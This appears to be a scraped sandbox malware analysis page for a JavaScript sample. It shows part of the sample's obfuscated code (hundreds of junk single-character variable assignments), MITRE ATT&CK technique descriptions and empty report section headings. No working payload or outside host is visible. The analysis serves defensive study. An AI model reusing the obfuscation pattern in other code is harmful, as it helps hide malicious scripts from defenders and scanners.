592	btnhhwb = "K";
593	btnhhwb = "v";
594	btnhhwb = "y";
595	btnhhwb = "V";
596	btnhhwb = "V";
597	btnhhwb = "k";
598	btnhhwb = "C";
599	btnhhwb = "j";
600	btnhhwb = "Q";
601	btnhhwb = "p";
602	btnhhwb = "S";
603	btnhhwb = "K";
604	btnhhwb = "g";
605	btnhhwb = "R";
606	btnhhwb = "I";
607	btnhhwb = "g";
608	btnhhwb = "Q";
609	btnhhwb = "I";
610	btnhhwb = "G";
611	btnhhwb = "n";
612	btnhhwb = "Y";
613	btnhhwb = "f";
614	btnhhwb = "n";
615	btnhhwb = "W";
616	btnhhwb = "v";
617	btnhhwb = "q";
618	btnhhwb = "P";
619	btnhhwb = "x";
620	btnhhwb = "m";
621	btnhhwb = "c";
622	btnhhwb = "R";
623	btnhhwb = "S";
624	btnhhwb = "E";
625	fvbkmb = "o";
626	fvbkmb = "T";
627	fvbkmb = "T";
628	fvbkmb = "p";
629	fvbkmb = "w";
630	fvbkmb = "W";
631	fvbkmb = "W";
632	fvbkmb = "T";
633	fvbkmb = "j";
634	fvbkmb = "F";
635	fvbkmb = "I";
636	fvbkmb = "W";
637	fvbkmb = "r";
638	fvbkmb = "2";
639	driuts = "o";
640	driuts = "v";
641	driuts = "F";
642	driuts = "s";
643	driuts = "r";
644	driuts = "o";
645	driuts = "D";
646	driuts = "T";
647	driuts = "i";
648	driuts = "l";
649	driuts = "h";
650	driuts = "n";
651	driuts = "R";
652	driuts = "Y";
653	driuts = "u";
654	driuts = "l";
655	driuts = "p";
656	driuts = "n";
657	driuts = "A";
658	driuts = "d";
659	driuts = "z";
660	driuts = "n";
661	driuts = "/";
662	ykaggvq = "r";
663	ykaggvq = "r";
664	ykaggvq = "b";
665	ykaggvq = "f";
666	ykaggvq = "l";
667	ykaggvq = "y";
668	ykaggvq = "N";
669	ykaggvq = "A";
670	ykaggvq = "K";
671	ykaggvq = "A";
672	ykaggvq = "Z";
673	ykaggvq = "i";
674	ykaggvq = "q";
675	ykaggvq = "H";
676	ykaggvq = "x";
677	ykaggvq = "i";
678	ykaggvq = "M";
679	ykaggvq = "y";
680	ykaggvq = "e";
681	ykaggvq = "a";
682	ykaggvq = "i";
683	ykaggvq = "H";
684	ykaggvq = "m";
685	ykaggvq = "U";
686	ykaggvq = "M";
687	ykaggvq = "i";
688	ykaggvq = "e";
689	ykaggvq = "c";
690	ykaggvq = "i";
691	ykaggvq = "c";
692	ykaggvq = "T";
693	ykaggvq = "M";
694	ykaggvq = "e";
695	ykaggvq = "e";
696	ykaggvq = "e";
697	ykaggvq = "p";
698	ykaggvq = "t";
699	ykaggvq = "J";
700	ykaggvq = "n";
701	ykaggvq = "r";
702	ykaggvq = "h";
703	ykaggvq = "x";
704	ykaggvq = "\"";
705	wlaev = "J";
706	wlaev = "k";
707	wlaev = "P";
708	wlaev = "f";
709	wlaev = "r";
710	wlaev = "V";
711	wlaev = "O";
712	wlaev = "N";
713	wlaev = "q";
714	wlaev = "X";
715	wlaev = "e";
716	wlaev = "u";
717	wlaev = "E";
718	wlaev = "s";
719	wlaev = "M";
720	wlaev = "l";
721	wlaev = "Y";
722	wlaev = "u";
723	wlaev = "k";
724	wlaev = "c";
725	wlaev = "h";
726	wlaev = "E";
727	wlaev = "K";
728	lycipib = "z";
729	lycipib = "u";
730	lycipib = "X";
731	lycipib = "q";
732	lycipib = "r";
733	lycipib = "L";
734	lycipib = "Y";
735	lycipib = "i";
736	lycipib = "z";
737	lycipib = "r";
738	lycipib = "F";
739	lycipib = "K";
740	lycipib = "S";
741	lycipib = "x";
742	lycipib = "H";
743	lycipib = "C";
744	lycipib = "U";
745	lycipib = "Z";
746	lycipib = "y";
747	lycipib = "R";
748	lycipib = "u";
749	lycipib = "I";
750	lycipib = "Z";
751	lycipib = "F";
752	lycipib = "B";
753	lycipib = "m";
754	lycipib = "b";
755	lycipib = "L";
756	lycipib = "I";
757	lycipib = "P";
758	lycipib = "e";
759	lycipib = "k";
760	lycipib = "Y";
761	lycipib = "I";
762	lycipib = "C";
763	prfngreba = "l";
764	zykkhzfhh = "D";
765	zykkhzfhh = "I";
766	zykkhzfhh = "H";
767	zykkhzfhh = "r";
768	zykkhzfhh = "C";
769	zykkhzfhh = "e";
770	zykkhzfhh = "u";
771	zykkhzfhh = "y";
772	zykkhzfhh = "F";
773	zykkhzfhh = "x";
774	zykkhzfhh = "e";
775	zykkhzfhh = "J";
776	zykkhzfhh = "P";
777	zykkhzfhh = "u";
778	zykkhzfhh = "t";
779	zykkhzfhh = "V";
780	zykkhzfhh = "G";
781	zykkhzfhh = "R";
782	zykkhzfhh = "O";
783	zykkhzfhh = "a";
784	zykkhzfhh = "f";
785	zykkhzfhh = "Z";
786	zykkhzfhh = "G";
787	zykkhzfhh = "v";
788	zykkhzfhh = "l";
789	zykkhzfhh = "m";
790	zykkhzfhh = "w";
791	zykkhzfhh = "c";
792	yllos = "h";
793	yllos = "f";
794	yllos = "V";
795	yllos = "L";
796	yllos = "v";
797	yllos = "k";
798	yllos = "H";
799	yllos = "n";
800	yllos = "T";
801	yllos = "X";
802	yllos = "l";
803	yllos = "D";
804	yllos = "p";
805	yllos = "d";
806	yllos = "N";
807	yllos = "B";
808	yllos = "s";
809	yllos = "I";
810	yllos = "u";
811	yllos = "K";
812	yllos = "H";
813	yllos = "h";
814	yllos = "q";
815	yllos = "Y";
816	yllos = "G";
817	yllos = "D";
818	yllos = "a";
819	yllos = "z";
820	yllos = "N";
821	yllos = "O";
822	yllos = "_";
823	qhwtmemut = "F";
824	qhwtmemut = "F";
825	qhwtmemut = "D";
826	qhwtmemut = "Z";
827	qhwtmemut = "l";
828	qhwtmemut = "U";
829	qhwtmemut = "x";
830	qhwtmemut = "m";
831	qhwtmemut = "X";
832	qhwtmemut = "V";
833	qhwtmemut = "N";
834	qhwtmemut = "W";
835	qhwtmemut = "w";
836	qhwtmemut = "p";
837	qhwtmemut = "X";
838	qhwtmemut = "c";
839	qhwtmemut = "I";
840	qhwtmemut = "k";
841	qhwtmemut = "c";
842	qhwtmemut = "X";
843	qhwtmemut = "g";
844	qhwtmemut = "T";
845	qhwtmemut = "S";
846	qhwtmemut = "u";
847	qhwtmemut = "i";
848	qhwtmemut = "y";
849	qhwtmemut = "L";
850	qhwtmemut = "e";
851	qhwtmemut = "Y";
852	qhwtmemut = "W";
853	qhwtmemut = "x";
854	qhwtmemut = "i";
855	qhwtmemut = "J";
856	qhwtmemut = "Z";
857	qhwtmemut = "M";
858	qhwtmemut = "D";
859	qhwtmemut = "G";
860	qhwtmemut = "M";
861	qhwtmemut = "p";
862	qhwtmemut = "Z";
863	qhwtmemut = "I";
864	qhwtmemut = "b";
865	qhwtmemut = "o";
866	qhwtmemut = "X";
867	qhwtmemut = "s";
868	kumfsl = "n";
869	kumfsl = "Z";
870	kumfsl = "n";
871	kumfsl = "a";
872	kumfsl = "o";
873	kumfsl = "f";
874	kumfsl = "y";
875	kumfsl = "X";
876	kumfsl = "P";
877	kumfsl = "y";
878	kumfsl = "Y";
879	kumfsl = "A";
880	kumfsl = "m";
881	kumfsl = "H";
882	kumfsl = "H";
883	kumfsl = "f";
884	kumfsl = "3";
885	ualcezgw = "D";
886	ualcezgw = "M";
887	ualcezgw = "g";
888	ualcezgw = "B";
889	ualcezgw = "@";
890	nhsrg = "m";
891	nhsrg = "d";
892	nhsrg = "m";
893	nhsrg = "M";
894	nhsrg = "s";
895	nhsrg = "s";
896	nhsrg = "Z";
897	nhsrg = "m";
898	nhsrg = "V";
899	nhsrg = "d";
900	nhsrg = "V";
901	nhsrg = "U";
902	nhsrg = "S";
903	nhsrg = "y";
904	nhsrg = "G";
905	nhsrg = "z";
906	nhsrg = "y";
907	nhsrg = "A";
908	nhsrg = "x";
909	nhsrg = "w";
910	vklip = "x";
911	vklip = "w";
912	vklip = "N";
913	vklip = "t";
914	vklip = "w";
915	vklip = "I";
916	vklip = "c";
917	vklip = "I";
918	vklip = "Q";
919	vklip = "m";
920	vklip = "I";
921	vklip = "K";
922	vklip = "j";
923	vklip = "e";
924	vklip = "e";
925	vklip = "c";
926	vklip = "j";
927	vklip = "W";
928	vklip = "s";
929	vklip = "B";
930	vklip = "r";
931	vklip = "S";
932	vklip = "R";
933	vklip = "o";
934	vklip = "w";
935	vklip = "e";
936	vklip = "c";
937	vklip = "p";
938	vklip = "x";
939	vklip = "s";
940	vklip = "L";
941	vklip = "a";
942	vklip = "q";
943	vklip = "l";
944	vklip = "S";
945	vklip = "p";
946	vklip = ":";
947	znnsxwlv = "R";
948	znnsxwlv = "F";
949	znnsxwlv = "W";
950	znnsxwlv = "M";
951	znnsxwlv = "b";
952	znnsxwlv = "N";
953	znnsxwlv = "Z";
954	znnsxwlv = "P";
955	znnsxwlv = "M";
956	znnsxwlv = "A";
957	znnsxwlv = "z";
958	znnsxwlv = "j";
959	znnsxwlv = "x";
960	znnsxwlv = "w";
961	znnsxwlv = "I";
962	znnsxwlv = "o";
963	znnsxwlv = "g";
964	znnsxwlv = "F";
965	znnsxwlv = "h";
966	znnsxwlv = "j";
967	znnsxwlv = "P";
968	znnsxwlv = "g";
969	znnsxwlv = "Y";
970	znnsxwlv = "r";
971	znnsxwlv = "Q";
972	znnsxwlv = "C";
973	znnsxwlv = "P";
974	znnsxwlv = "Q";
975	znnsxwlv = "f";
976	znnsxwlv = "k";
977	znnsxwlv = "c";
978	znnsxwlv = "w";
979	znnsxwlv = "L";
980	cyokvcvo = "n";
981	cyokvcvo = "y";
982	cyokvcvo = "c";
983	cyokvcvo = "g";
984	cyokvcvo = "F";
985	cyokvcvo = "i";
986	cyokvcvo = "L";
987	cyokvcvo = "I";
988	cyokvcvo = "t";
989	cyokvcvo = "o";
990	cyokvcvo = "D";
991	cyokvcvo = "g";
992	cyokvcvo = "z";
993	cyokvcvo = "f";
994	cyokvcvo = "I";
995	cyokvcvo = "k";
996	cyokvcvo = "C";
997	cyokvcvo = "D";
998	cyokvcvo = "Y";
999	cyokvcvo = "I";
1000	cyokvcvo = "N";
1001	cyokvcvo = "d";
1002	cyokvcvo = "r";
1003	cyokvcvo = "o";
1004	cyokvcvo = "D";
1005	cyokvcvo = "b";
1006	cyokvcvo = "Q";
1007	cyokvcvo = "B";
1008	cyokvcvo = "V";
1009	cyokvcvo = "g";
1010	cyokvcvo = "e";
1011	iwzdb = "X";
1012	iwzdb = "E";
1013	iwzdb = "e";
1014	iwzdb = "k";
1015	iwzdb = "%";
1016	oesdv = "h";
1017	oesdv = "S";
1018	oesdv = "A";
1019	oesdv = "Q";
1020	oesdv = "r";
1021	oesdv = "S";
1022	oesdv = "t";
1023	oesdv = "L";
1024	oesdv = "W";
1025	oesdv = "A";
1026	oesdv = "r";
1027	oesdv = "X";
1028	oesdv = "g";
1029	oesdv = "j";
1030	uqpsgv = "j";
1031	uqpsgv = "i";
1032	zejzrfpm = "T";
1033	zejzrfpm = "O";
1034	zejzrfpm = "D";
1035	zejzrfpm = "F";
1036	zejzrfpm = "L";
1037	zejzrfpm = "N";
1038	itujlw = "i";
1039	itujlw = "W";
1040	itujlw = "y";
1041	itujlw = "x";
1042	itujlw = "r";
1043	itujlw = "P";
1044	itujlw = "A";
1045	itujlw = "w";
1046	itujlw = "t";
1047	itujlw = "t";
1048	itujlw = "E";
1049	itujlw = "A";
1050	itujlw = "i";
1051	itujlw = "E";
1052	itujlw = "E";
1053	itujlw = "v";
1054	itujlw = "F";
1055	itujlw = "e";
1056	itujlw = "y";
1057	itujlw = "R";
1058	itujlw = "N";
1059	itujlw = "m";
1060	itujlw = "r";
1061	itujlw = "W";
1062	itujlw = "a";
1063	itujlw = "x";
1064	itujlw = "H";
1065	itujlw = "E";
1066	itujlw = "U";
1067	itujlw = "u";
1068	kyghxh = "M";
1069	kyghxh = "j";
1070	kyghxh = "R";
1071	kyghxh = "o";
1072	kyghxh = "P";
1073	kyghxh = "P";
1074	kyghxh = "c";
1075	kyghxh = "n";
1076	kyghxh = "l";
1077	kyghxh = "T";
1078	kyghxh = "x";
1079	kyghxh = "G";
1080	kyghxh = "u";
1081	kyghxh = "x";
1082	kyghxh = "M";
1083	kyghxh = "M";
1084	kyghxh = "u";
1085	kyghxh = "S";
1086	kyghxh = "i";
1087	kyghxh = "t";
1088	kyghxh = "S";
1089	kyghxh = "n";
1090	kyghxh = "F";
1091	kyghxh = "h";
1092	kyghxh = "g";
1093	kyghxh = "I";
1094	kyghxh = "n";
1095	kyghxh = "O";
1096	kyghxh = "H";
1097	amaxae = "h";
1098	amaxae = "I";
1099	amaxae = "a";
1100	amaxae = "K";
1101	amaxae = "U";
1102	amaxae = "q";
1103	amaxae = "m";
1104	amaxae = "Q";
1105	amaxae = "P";
1106	amaxae = "z";
1107	amaxae = "q";
1108	amaxae = "d";
1109	amaxae = "V";
1110	amaxae = "c";
1111	amaxae = "D";
1112	amaxae = "i";
1113	amaxae = "O";
1114	amaxae = "s";
1115	amaxae = "I";
1116	amaxae = "v";
1117	amaxae = "x";
1118	amaxae = "C";
1119	amaxae = "u";
1120	amaxae = "r";
1121	amaxae = "l";
1122	amaxae = "E";
1123	amaxae = "h";
1124	amaxae = "a";
1125	amaxae = "r";
1126	amaxae = "m";
1127	amaxae = "D";
1128	amaxae = "r";
1129	amaxae = "F";
1130	amaxae = "g";
1131	amaxae = "G";
1132	amaxae = "A";
1133	amaxae = "V";
1134	amaxae = "i";
1135	amaxae = "O";
1136	amaxae = "I";
1137	amaxae = "5";
1138	ltinz = "Y";
1139	ltinz = "v";
1140	ltinz = "g";
1141	ltinz = "G";
1142	ltinz = "m";
1143	ltinz = "w";
1144	ltinz = "E";
1145	ltinz = "r";
1146	ltinz = "M";
1147	ltinz = "V";
1148	ltinz = "y";
1149	ltinz = "e";
1150	ltinz = "W";
1151	ltinz = "e";
1152	ltinz = "J";
1153	ltinz = "B";
1154	ltinz = "C";
1155	ltinz = "\\";
1156	uulyay = "p";
1157	uulyay = "R";
1158	uulyay = "H";
1159	uulyay = "K";
1160	uulyay = "L";
1161	uulyay = "e";
1162	uulyay = "o";
1163	uulyay = "U";
1164	uulyay = "T";
1165	uulyay = "e";
1166	uulyay = "e";
1167	uulyay = "j";
1168	uulyay = "y";
1169	uulyay = "P";
1170	uulyay = "W";
1171	uulyay = "h";
1172	uulyay = "f";
1173	uulyay = "U";
1174	uulyay = "W";
1175	uulyay = "K";
1176	uulyay = "v";
1177	hjnemjr = "I";
1178	hjnemjr = "V";
1179	hjnemjr = "t";
1180	hjnemjr = "Z";
1181	hjnemjr = "S";
1182	hjnemjr = "l";
1183	hjnemjr = "j";
1184	hjnemjr = "H";
1185	hjnemjr = "p";
1186	hjnemjr = "C";
1187	hjnemjr = "P";
1188	hjnemjr = "P";
1189	hjnemjr = "S";
1190	hjnemjr = "B";
1191	hjnemjr = "N";
1192	hjnemjr = "F";
1193	hjnemjr = "S";
1194	hjnemjr = "S";
1195	hjnemjr = "t";
1196	hjnemjr = "H";
1197	hjnemjr = "O";
1198	hjnemjr = "q";
1199	hjnemjr = "k";
1200	hjnemjr = "c";
1201	hjnemjr = "S";
1202	hjnemjr = "g";
1203	hjnemjr = "m";
1204	hjnemjr = "Q";
1205	asbfyy = "j";
1206	asbfyy = "k";
1207	asbfyy = "q";
1208	asbfyy = "K";
1209	asbfyy = "L";
1210	asbfyy = "y";
1211	asbfyy = "u";
1212	asbfyy = "I";
1213	asbfyy = "x";
1214	asbfyy = "M";
1215	asbfyy = "r";
1216	asbfyy = "q";
1217	asbfyy = "i";
1218	asbfyy = "T";
1219	asbfyy = "O";
1220	asbfyy = "U";
1221	asbfyy = "S";
1222	qqywuuna = "X";
1223	qqywuuna = "y";
1224	qqywuuna = "i";
1225	qqywuuna = "R";
1226	qqywuuna = "R";
1227	lphyj = "o";
1228	lphyj = "n";
1229	lphyj = "K";
1230	lphyj = "Q";
1231	lphyj = "V";
1232	lphyj = "Y";
1233	lphyj = "m";
1234	lphyj = "z";
1235	lphyj = "p";
1236	lphyj = "c";
1237	lphyj = "Z";
1238	lphyj = "z";
1239	lphyj = "p";
1240	lphyj = "w";
1241	lphyj = "m";
1242	lphyj = "T";
1243	lphyj = "s";
1244	lphyj = "R";
1245	lphyj = "D";
1246	lphyj = "g";
1247	zfxjvqzhr = "T";
1248	zfxjvqzhr = "w";
1249	zfxjvqzhr = "u";
1250	zfxjvqzhr = "M";
1251	zfxjvqzhr = "m";
1252	logwwx = "k";
1253	xnaehh = "j";
1254	xnaehh = "v";
1255	xnaehh = "l";
1256	xnaehh = "P";
1257	xnaehh = "M";
1258	xnaehh = "N";
1259	xnaehh = "c";
1260	xnaehh = "V";
1261	xnaehh = "K";
1262	xnaehh = "w";
1263	xnaehh = "O";
1264	xnaehh = "O";
1265	xnaehh = "E";
1266	xnaehh = "l";
1267	xnaehh = "T";
1268	xnaehh = "p";
1269	xnaehh = "t";
1270	xnaehh = "n";
1271	xnaehh = "f";
1272	xnaehh = "X";
1273	xnaehh = "z";
1274	xnaehh = "o";
1275	xnaehh = "e";
1276	xnaehh = "y";
1277	xnaehh = "g";
1278	xnaehh = "P";
1279	xnaehh = "l";
1280	xnaehh = "X";
1281	xnaehh = "v";
1282	xnaehh = "i";
1283	xnaehh = "D";
1284	xnaehh = "a";
1285	yoxalkl = "U";
1286	yoxalkl = "J";
1287	yoxalkl = "s";
1288	yoxalkl = "R";
1289	yoxalkl = "n";
1290	yoxalkl = "h";
1291	yoxalkl = "N";
1292	yoxalkl = "U";
1293	yoxalkl = "i";
1294	yoxalkl = "l";
1295	yoxalkl = "b";
1296	yoxalkl = "R";
1297	yoxalkl = "W";
1298	yoxalkl = "C";
1299	yoxalkl = "h";
1300	yoxalkl = "g";
1301	yoxalkl = "F";
1302	yoxalkl = "d";
1303	yoxalkl = "Y";
1304	yoxalkl = "B";
1305	yoxalkl = "b";
1306	yoxalkl = "b";
1307	yoxalkl = "j";
1308	yoxalkl = "A";
1309	yoxalkl = "h";
1310	yoxalkl = "e";
1311	yoxalkl = "w";
1312	yoxalkl = "Z";
1313	yoxalkl = "L";
1314	yoxalkl = "F";
1315	yoxalkl = "G";
1316	yoxalkl = "M";
1317	yoxalkl = "w";
1318	yoxalkl = "W";
1319	yoxalkl = "K";
1320	yoxalkl = "G";
1321	yoxalkl = "q";
1322	fawuna = "z";
1323	fawuna = "q";
1324	fawuna = "g";
1325	fawuna = "r";
1326	fawuna = "Z";
1327	fawuna = "s";
1328	fawuna = "c";
1329	fawuna = "Y";
1330	fawuna = "h";
1331	fawuna = "A";
1332	fawuna = "o";
1333	fawuna = "k";
1334	fawuna = "j";
1335	fawuna = "F";
1336	jnkmvwgyw = "U";
1337	jnkmvwgyw = "o";
1338	jnkmvwgyw = "U";
1339	jnkmvwgyw = "b";
1340	jnkmvwgyw = "t";
1341	jnkmvwgyw = "E";
1342	jnkmvwgyw = "R";
1343	jnkmvwgyw = "L";
1344	jnkmvwgyw = "i";
1345	jnkmvwgyw = "o";
1346	jnkmvwgyw = "f";
1347	jnkmvwgyw = "j";
1348	jnkmvwgyw = "O";
1349	cqfkdizb = "h";
1350	cqfkdizb = "N";
1351	cqfkdizb = "R";
1352	cqfkdizb = "C";
1353	cqfkdizb = "F";
1354	cqfkdizb = "L";
1355	cqfkdizb = "Y";
1356	cqfkdizb = "b";
1357	cqfkdizb = "O";
1358	cqfkdizb = "J";
1359	cqfkdizb = "E";
1360	cqfkdizb = "N";
1361	cqfkdizb = "u";
1362	cqfkdizb = "p";
1363	cqfkdizb = "M";
1364	cqfkdizb = "p";
1365	cqfkdizb = "X";
1366	cqfkdizb = "B";
1367	cqfkdizb = "Z";
1368	cqfkdizb = "W";
1369	cqfkdizb = "y";
1370	cqfkdizb = "z";
1371	cqfkdizb = "F";
1372	cqfkdizb = "n";
1373	cqfkdizb = "X";
1374	cqfkdizb = "n";
1375	cqfkdizb = "C";
1376	cqfkdizb = "A";
1377	cqfkdizb = "p";
1378	pamrppug ( );	pamrppug() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2926013193173129097.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

